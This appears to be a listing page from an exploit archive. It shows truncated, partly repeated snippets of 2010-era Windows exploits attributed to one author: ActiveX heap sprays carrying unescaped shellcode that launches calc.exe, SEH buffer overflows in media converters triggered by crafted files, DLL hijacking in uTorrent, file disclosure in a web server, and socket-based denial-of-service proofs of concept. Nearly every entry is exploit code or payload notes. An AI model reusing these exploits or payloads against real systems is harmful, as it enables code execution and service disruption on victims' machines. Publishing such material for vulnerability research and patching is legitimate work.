J-Integra 2.11 Active-X Buffer Overflow

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Trend Micro Internet Security 2010 ActiveX Remote Exploit (UfPBCtrl.DLL)

Exploit for windows platform in category remote exploits ======================================================================== Trend Micro Internet Security 2010 ActiveX Remote Exploit UfPBCtrl.DLL ======================================================================== //payload is windows/ex...

Trend Micro Internet Security Pro 2010 Active-X

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)

Exploit for windows platform in category local exploits ======================================================== Free WMA MP3 Converter 1.1 Buffer Overflow Exploit SEH ======================================================== !/usr/bin/env python Free WMA MP3 Converter 1.1 Buffer Overflow Exploit...

Free WMA MP3 Converter 1.1 - Local Buffer Overflow (SEH)

!/usr/bin/env python Free WMA MP3 Converter 1.1 Buffer Overflow Exploit SEH Coded By: DrIDE Date: November 10, 2010 Download: http://www.eusing.com/freewmaconverter/mp3wmaconverter.htm Tested on: Windows XPSP3 Greets: edb team Notes: Egghunter was for fun, not required though. windows/exec - 303...

Free WMA MP3 Converter 1.1 - Local Buffer Overflow (SEH)

Free WMA MP3 Converter 1.1 - Local Buffer Overflow SEH !/usr/bin/env python Free WMA MP3 Converter 1.1 Buffer Overflow Exploit SEH Coded By: DrIDE Date: November 10, 2010 Download: http://www.eusing.com/freewmaconverter/mp3wmaconverter.htm Tested on: Windows XPSP3 Greets: edb team Notes: Egghunte...

MinaliC WebServer 1.0 - Remote Source Disclosure / File Download

MinaliC Webserver 1.0 Remote Source Disclosure/File Download Found By: DrIDE Date: October 27, 2010 Download: http://sourceforge.net/projects/minalic/ Tested on: Windows 7 Greets: edb team & John Leitch for finding the app - Description - MinialiC Webserver v1.0 is a Windows based HTTP server. Th...

μTorrent (uTorrent) 2.0.3 - DLL Hijacking

Title: uTorrent =2.0.3 Dll Hijacking Local Exploits By: DrIDE Tested: Windows 7RC Note: These are additional DLL's with unsafe Load Paths Reference: http://www.exploit-db.com/exploits/14726/ If the payload .DLL file is renamed to any of these files and placed in the utorrent.exe directory, the...

μTorrent (uTorrent) 2.0.3 - DLL Hijacking

μTorrent uTorrent 2.0.3 - DLL Hijacking Title: uTorrent =2.0.3 Dll Hijacking Local Exploits By: DrIDE Tested: Windows 7RC Note: These are additional DLL's with unsafe Load Paths Reference: http://www.exploit-db.com/exploits/14726/ If the payload .DLL file is renamed to any of these files and plac...

Httpdx 1.5.4 Multiple (http-ftp) PoC

Exploit for windows platform in category dos / poc ==================================== Httpdx 1.5.4 Multiple http-ftp PoC ==================================== !/usr/bin/env python Title: httpdx v1.5.4 Remote HTTP Server DoS 0day By: DrIDE Tested: XPSP3 Download: http://httpdx.sourceforge.net Not...

A-PDF WAV To MP3 1.0.0 Universal Local SEH Exploit

!/usr/bin/env python Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit Exloit By: DrIDE Tested On: XPSP3 Date: August 18, 2010 Download: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html Reference: http://www.exploit-db.com/exploits/14676/ Usage: Import File, Select It,...

A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit

Exploit for windows platform in category local exploits =================================================== A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit =================================================== !/usr/bin/env python Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit Exloi...

A-PDF WAV to MP3 1.0.0 - Universal Local (SEH)

A-PDF WAV to MP3 1.0.0 - Universal Local SEH !/usr/bin/env python Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit Exloit By: DrIDE Tested On: XPSP3 Date: August 18, 2010 Download: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html Reference:...

A-PDF WAV to MP3 1.0.0 - Universal Local (SEH)

!/usr/bin/env python Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit Exloit By: DrIDE Tested On: XPSP3 Date: August 18, 2010 Download: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html Reference: http://www.exploit-db.com/exploits/14676/ Usage: Import File, Select It,...

Mediacoder 0.7.5.4710 Universal SEH Buffer Overflow

!/usr/bin/env python Mediacoder 0.7.5.4710 "Universal" SEH Buffer Overflow Exploit Coded By: DrIDE Found By: abhishek lyall Usage: Load the evil .m3u file and click on it. Download: http://www.exploit-db.com/application/14612 Tested On: Windows XPSP3 windows/exec - 534 bytes...

Mediacoder 0.7.5.4710 "Universal" SEH Buffer Overflow Exploit

Exploit for windows platform in category local exploits ============================================================= Mediacoder 0.7.5.4710 "Universal" SEH Buffer Overflow Exploit ============================================================= !/usr/bin/env python Mediacoder 0.7.5.4710 "Universal"...

Mediacoder 0.7.5.4710 - 'Universal' Local Buffer Overflow (SEH)

!/usr/bin/env python Mediacoder 0.7.5.4710 "Universal" SEH Buffer Overflow Exploit Coded By: DrIDE Found By: abhishek lyall Usage: Load the evil .m3u file and click on it. Tested On: Windows XPSP3 windows/exec - 534 bytes http://www.metasploit.com Encoder: x86/shikataganai EXITFUNC=process,...

Barcodewiz 3.29 Barcode Active-X Control Heap Spray

// Payload is win32exec - calc.exe shellcode = unescape'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

VLC Media Player <=1.0.6 Malformed Media File Crash PoC

No description provided by source. !/usr/bin/python VLC Media Player =1.0.6 Malformed Media File Crash PoC Found By: DrIDE Tested: Windows 7, Ubuntu 9, OSX 10.6.X Download: http://www.videolan.org Notes: Register overwrites seem very unpredictable at best... Greets: Offsec and Corelan Teams...

Home FTP Server 1.10.3 Denial Of Service

!/usr/bin/python HomeFTP Server r1.10.3 build 144 Denial of Service Exploit Found By: DrIDE Date: May 28, 2010 Download: http://downstairs.dnsalias.net/products.html Tested: Windows 7 import socket, sys host = sys.argv1 buff = "A" 5000 cmds = 'SITE INDEX' s = socket.socketsocket.AFINET,...